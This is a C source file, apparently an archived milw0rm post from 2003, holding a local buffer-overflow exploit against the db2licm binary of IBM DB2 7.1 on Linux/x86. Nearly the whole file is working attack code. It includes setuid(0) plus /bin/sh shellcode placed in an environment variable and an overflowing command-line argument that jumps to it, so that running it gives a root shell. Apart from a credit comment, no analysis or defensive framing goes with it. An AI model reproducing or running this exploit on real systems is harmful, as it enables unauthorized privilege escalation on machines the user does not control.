103 lines
No EOL
2.1 KiB
C
103 lines
No EOL
2.1 KiB
C
/*
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Local Exploit for db2licm
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IBM db2 v 7.1 Linux/x86
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vulnerability researched by
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Juan Manuel Pascual Escriba
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pask at uninet.edu
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*/
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char sc[]=
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"\x31\xc0" /* begin setuid (0) */
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"\x31\xdb"
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"\xb0\x17"
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"\xcd\x80"
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"\xeb\x1f"
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"\x5e"
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"\x89\x76\x08"
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"\x31\xc0"
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"\x88\x46\x07"
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"\x89\x46\x0c"
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"\xb0\x0b"
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"\x89\xf3"
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"\x8d\x4e\x08"
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"\x8d\x56\x0c"
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"\xcd\x80"
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"\x31\xdb"
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"\x89\xd8"
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"\x40"
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"\xcd\x80"
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"\xe8\xdc\xff\xff\xff"
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"/bin/sh";
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#define STACK_TOP_X86 0xC0000000
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#define ALG_MASK 0xfffffff4
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#define ADDR 1000
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#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"
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#define DFL_ALG 4
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int main(int arc, char **arv){
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char *argv[3];
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char *envp[2];
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unsigned long sc_address, ba=0;
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unsigned char alg = DFL_ALG;
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unsigned long *p;
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unsigned char *q;
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unsigned int i;
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sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
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printf("shellcode address = 0x%X\n",sc_address);
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if( (sc_address & ALG_MASK) != sc_address ) {
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ba = sc_address - (sc_address & ALG_MASK);
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printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,
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sc_address & ALG_MASK);
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sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
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printf("new shellcode address = 0x%X\n",sc_address);
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}
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envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
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q = envp[0];
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strcpy(q,"pete=");
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q += strlen("pete=");
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memcpy(q,sc,sizeof(sc));
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q += sizeof(sc)-1;
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memset(q,'A',ba);
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q += ba;
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*q = 0;
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envp[1] = 0;
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/* build overflowing arvg[2] */
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printf("using alignment = %d in overflow buffer\n",alg);
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argv[0] = DB2LICM;
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argv[1] = "-a";
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argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
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memset(argv[2],'A',alg);
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p=(unsigned long*)(argv[2]+alg);
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for(i=0;i<ADDR;i++) {
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*p = sc_address;
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p++;
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};
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*p = 0;
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argv[3] = 0;
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printf("executing %s ...\n\n",argv[0]);
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execve(argv[0],argv,envp);
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}
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// milw0rm.com [2003-09-27]
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